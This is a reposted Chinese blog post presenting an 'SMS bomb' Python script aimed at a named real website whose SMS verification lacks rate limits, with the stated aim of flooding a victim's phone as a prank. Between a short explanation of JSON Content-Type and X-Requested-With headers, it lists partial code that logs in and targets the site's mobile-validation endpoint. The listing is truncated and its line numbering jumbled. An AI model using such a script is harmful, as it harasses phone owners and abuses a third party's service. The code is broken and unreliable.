当前位置:编程学习 > 网站相关 >>

短信炸弹——python模拟ajax请求

本来是想注册一个账号,搞网络安全的,你懂得,然后情不自禁的就测试了一下这个站http://www.lusen.com
然后就发现,验证码什么的都是形同虚设,没起到什么作用,那不就导致了CSRF了么,这个就不细说了
呵呵,没事了搞个恶作剧玩玩!!!
这里短息验证时没有次数限制,那不就好玩了,不停发,炸死你!!!
于是就操刀写了个脚本,但是发现发送不成功,郁闷很。。。
然后分析发现原始的请求头部是Content-Type: ajax/json;形式。
于是就郁闷了,平时都是POST直接提交加个Content-Type: application/x-www-form-urlencoded就好了,现在既然是这?!
还真没遇到这种情况的请求,替换了头部,但是返回服务器拒绝服务,返回状态吗500,奇葩的是还爆出了系统绝对路径~~~
我那个擦擦,这是什么情况,提交的Body数据和Header的Content-Type不一致还会导致这种错吗???
真不知道,知道的请大牛解释啊,求,求,求!!!
然后要解决问题,就分析了下,于是就有了下文。。。
=================================================================================
我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种。
常见的取值有:
application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用
application/json : 在 JSON RPC 调用时使用
application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用
Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。
在提交web表单数据时,Body中的数据格式要和Content-Type的值类型一致,如果Content-Type 设置错误会导致服务器拒绝服务
还有些网站的数据需要通过ajax来请求获得,ajax请求在发起请求之前必须设置必要的http头,还需要将请求数据封装为json格式。
下面的脚本代码就是这种情况,将请求数据封装为json格式:
req.add_header('Content-Type', 'application/json')
然后设置ajax请求形式的请求头:
req.add_header('X-Requested-With','XMLHttpRequest')

1 #-*-coding:utf-8-*-
2 #!/usr/bin/python
 
3  
4 #
 
5 # Message Bomb v1.0
6 #From: sb.f4ck.net By: xfkxfk
 
7 #
8  
 
9 import json
10 import urllib2
       
 
11 import sys
12  
 
13 def request_ajax_url(url,body,referer=None,cookie=None,**headers):
14  req = urllib2.Request(url)
 
15  
16 req.add_header('Content-Type', 'application/json')
 
17  req.add_header('X-Requested-With','XMLHttpRequest')
18  
 
19 if cookie:
20  req.add_header('Cookie',cookie)
 
21  
22 if referer:
 
23  req.add_header('Referer',referer)
24  
 
25 if headers:
26  for k in headers.keys():
 
27  req.add_header(k,headers[k])
28  
 
29 postBody = json.dumps(body)
30  
 
31 response = urllib2.urlopen(req, postBody)
32  
 
33 if response:
34  return response
 
35  
36 def run():
 
37  import time
38  "use username:xfkxfk; use password:123456"
 
39  
40  login_url = 'http://www.lusen.com/member/Login.aspx'
 
41  login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}
42  login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"
     
 
43  
44 url = 'http://www.lusen.com/Member/MobileValidate.aspx'
 
45  referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx"
46  
 
47 headers = {}
48  
 
49  response = request_ajax_url(login_url,login_body,login_referer)
50  
 
51 if response.read() == "1":
52  print " Login Success !!!"
 
53  
54 if response.headers.has_key('set-cookie'):
 
补充:综合编程 , 安全编程 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,